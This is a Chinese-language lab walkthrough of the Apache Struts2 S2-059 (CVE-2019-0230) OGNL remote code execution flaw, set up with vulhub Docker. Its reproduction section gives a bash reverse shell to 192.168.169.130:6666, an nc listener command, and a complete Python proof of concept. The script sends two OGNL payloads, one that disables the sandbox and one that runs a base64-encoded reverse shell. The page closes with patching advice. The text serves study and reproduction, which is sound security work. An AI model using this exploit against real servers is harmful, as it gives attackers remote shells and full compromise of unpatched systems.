溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

怎么實現(xiàn)struts2 s2-059遠程代碼執(zhí)行漏洞CVE-2019-0230的分析

發(fā)布時間:2021-12-28 17:51:35 來源:億速云 閱讀:139 作者:柒染 欄目:安全技術(shù)

這篇文章給大家介紹怎么實現(xiàn)struts2 s2-059遠程代碼執(zhí)行漏洞CVE-2019-0230的分析,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

2020年,struts2爆出了s2-059預(yù)警,最近又出現(xiàn)了s2-061,S2-061和S2-059的OGNL表達執(zhí)行觸發(fā)方式一樣。S2-059的修復(fù)方式為只修復(fù)了沙盒繞過并沒有修復(fù)OGNL表達式執(zhí)行點,因為這個表達式執(zhí)行觸發(fā)條件過于苛刻,而S2-061再次繞過了S2-059的沙盒。在這里我用s2-059進行測試。

1.簡介

Struts2 是 Apache 軟件組織推出的一個相當(dāng)強大的 Java Web 開源框架,本質(zhì)上相當(dāng)于一個 servlet。Struts2 基于 MVC 架構(gòu),框架結(jié)構(gòu)清晰。通常作為控制器(Controller)來建立模型與視圖的數(shù)據(jù)交互,用于創(chuàng)建企業(yè)級 Java web 應(yīng)用程序,它利用并延伸了Java Servlet API,鼓勵開發(fā)者采用MVC架構(gòu)。Struts2以WebWork優(yōu)秀的設(shè)計思想為核心,吸收了Struts框架的部分優(yōu)點,提供了一個更加整潔的MVC設(shè)計模式實現(xiàn)的Web應(yīng)用程序框架。

2.漏洞概述

2020年08月13日,Apache官方發(fā)布了Struts2遠程代碼執(zhí)行漏洞的風(fēng)險通告,該漏洞編號為CVE-2019-0230,漏洞等級:高危,漏洞評分:8.5

漏洞產(chǎn)生的主要原因是因為Apache Struts框架在強制執(zhí)行時,會對分配給某些標(biāo)簽屬性(如id)的屬性值執(zhí)行二次ognl解析。攻擊者可以通過構(gòu)造惡意的OGNL表達式,并將其設(shè)置到可被外部輸入進行修改,且會執(zhí)行OGNL表達式的Struts2標(biāo)簽的屬性值,引發(fā)OGNL表達式解析,最終造成遠程代碼執(zhí)行的影響。

3.影響版本

Apache Struts2:2.0.0-2.5.20

4.環(huán)境搭建

4.1本次漏洞環(huán)境使用vulhub快速搭建,vulhub下載地址如下:

https://github.com/vulhub/vulhub

將vulhub-master.zip解壓后復(fù)制到kali里。

cd vulhub-master/

怎么實現(xiàn)struts2 s2-059遠程代碼執(zhí)行漏洞CVE-2019-0230的分析

cd  struts/

怎么實現(xiàn)struts2 s2-059遠程代碼執(zhí)行漏洞CVE-2019-0230的分析

cd  s2-059

怎么實現(xiàn)struts2 s2-059遠程代碼執(zhí)行漏洞CVE-2019-0230的分析

4.2使用docker-compose快速構(gòu)建靶場環(huán)境。

docker-compose build

docker-compose up -d

怎么實現(xiàn)struts2 s2-059遠程代碼執(zhí)行漏洞CVE-2019-0230的分析

4.3啟動完成后在瀏覽器訪問http://ip:8080/ 就可以看到測試界面。

怎么實現(xiàn)struts2 s2-059遠程代碼執(zhí)行漏洞CVE-2019-0230的分析

5.漏洞復(fù)現(xiàn)

5.1在瀏覽器訪問http://ip:8080/?id=%25{2*5},可以發(fā)現(xiàn)執(zhí)行的2*5成功被解析了,會執(zhí)行OGNL表達式的Struts2標(biāo)簽的屬性值,引發(fā)OGNL表達式解析。

怎么實現(xiàn)struts2 s2-059遠程代碼執(zhí)行漏洞CVE-2019-0230的分析怎么實現(xiàn)struts2 s2-059遠程代碼執(zhí)行漏洞CVE-2019-0230的分析

5.2使用poc來反彈shell,反彈shell的payload需要使用base64編碼。

bash -i >& /dev/tcp/192.168.169.130/6666 0>&1

base64編碼網(wǎng)址:

http://www.jackson-t.ca/runtime-exec-payloads.html

怎么實現(xiàn)struts2 s2-059遠程代碼執(zhí)行漏洞CVE-2019-0230的分析

5.3kali里執(zhí)行nc -lvvp 6666進行監(jiān)聽。

怎么實現(xiàn)struts2 s2-059遠程代碼執(zhí)行漏洞CVE-2019-0230的分析

5.4將payload修改為自己的payload后復(fù)制到文本里,重命名為1.py。利用python運行。

import requests url = "http://127.0.0.1:8080" data1 = {     "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = {     "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2OS4xMzAvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'))}" } res1 = requests.post(url, data=data1)

res2 = requests.post(url, data=data2)

怎么實現(xiàn)struts2 s2-059遠程代碼執(zhí)行漏洞CVE-2019-0230的分析

怎么實現(xiàn)struts2 s2-059遠程代碼執(zhí)行漏洞CVE-2019-0230的分析

5.5反彈shell

怎么實現(xiàn)struts2 s2-059遠程代碼執(zhí)行漏洞CVE-2019-0230的分析

怎么實現(xiàn)struts2 s2-059遠程代碼執(zhí)行漏洞CVE-2019-0230的分析

6.修復(fù)建議

6.1升級到Struts 2.5.22或更高版本。

6.2開啟ONGL表達式注入保護措施。

關(guān)于怎么實現(xiàn)struts2 s2-059遠程代碼執(zhí)行漏洞CVE-2019-0230的分析就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI